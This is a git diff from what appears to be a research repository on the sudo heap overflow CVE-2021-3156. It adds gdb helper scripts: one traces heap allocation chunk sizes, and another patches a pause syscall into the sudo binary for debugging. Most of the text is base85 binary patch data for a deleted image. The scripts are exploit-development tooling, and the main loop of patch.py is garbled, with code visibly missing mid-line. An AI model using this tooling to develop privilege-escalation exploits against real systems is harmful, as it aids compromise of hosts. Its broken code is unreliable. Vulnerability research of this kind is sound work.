record['type'] == 'realloc': + if record['result']: + print(f"- realloc(0x{record['mem']:08x}, {record['size']}) => 0x{record['result']:08x}") + else: + print(f"- realloc(0x{record['mem']:08x}, {record['size']})") + elif record['type'] == 'calloc': + chunk_size = ((record['esize']*record['n']) + 8 + 15) & 0xfffffff0 + if chunk_size < 0x20: + chunk_size = 0x20 # min size + print(f"- calloc({record['n']}, {record['esize']}) => 0x{record['result']:08x} => chunk size: 0x{chunk_size:x}") + + +start = False +with open(sys.argv[1], 'r') as f: + for line in f: + if not start: + line = line.strip() + if ' Continuing.' in line: + start = True + continue + + if line.startswith('Catchpoint '): + analyze_record(record) + record = new_catch_record(line) + records.append(record) + elif line.startswith('Breakpoint '): + tmp_record = new_breakpoint_record(line) + if tmp_record is not None: + analyze_record(record) + record = tmp_record + records.append(record) + elif line.startswith('#'): + if record is not None: + update_record_bt(record, line) + elif line.startswith('r'): + if record is not None: + update_record_result(record, line) + + analyze_record(record) + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/patch.py b/cve/sudo/2021/CVE-2021-3156/gdb/patch.py new file mode 100644 index 00000000..75b2fe26 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/patch.py @@ -0,0 +1,64 @@ +#!/usr/bin/python3 +''' +Quick and dirty patch for sudo on Linux x64 to pause for character in start of main. +It is used for debugging sudo that run from user environment. + +Does not work on very old binaries (from Ubuntu 14.04, CentOS 6) +''' +import sys +import subprocess + +orig_file = sys.argv[1] +out_file = sys.argv[2] + +patch_data = ( + b'\x31\xc0' # xor eax, eax + b'\x31\xff' # xor edi, edi + b'\x48\x89\xe6' # mov rsi, rsp + b'\xba\x01\x00\x00\x00' # mov edx, 1 + b'\x0f\x05' # syscall +) + +patch_offset = None +patch_len = None +with subprocess.Popen(['objdump', '-d', '-M', 'intel', orig_file], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True) as proc: + found_text_section = False + found_call_sudo_debug = False + for line in proc.stdout: + if not found_text_section: + if line.startswith('Disassembly of section .text:'): + found_text_section = True + continue + + if not found_call_sudo_debug: + # just estimate value + asm = line.strip()[20:] + if 'call ' in asm and ' = len(patch_data) + +patch_data = patch_data.ljust(patch_len, b'\x90') +with open(orig_file, 'rb') as f: + data = f.read() + +with open(out_file, 'wb') as f: + f.write(data[:patch_offset]) + f.write(patch_data) + f.write(data[patch_offset+patch_len:]) diff --git a/cve/sudo/2021/CVE-2021-3156/images/450acf1a2f14793aafa987905b20eeba.png b/cve/sudo/2021/CVE-2021-3156/images/450acf1a2f14793aafa987905b20eeba.png deleted file mode 100644 index 3bfa8aa6c8fca049ec5ca5e3d29dc6fb70074c5d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 103839 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 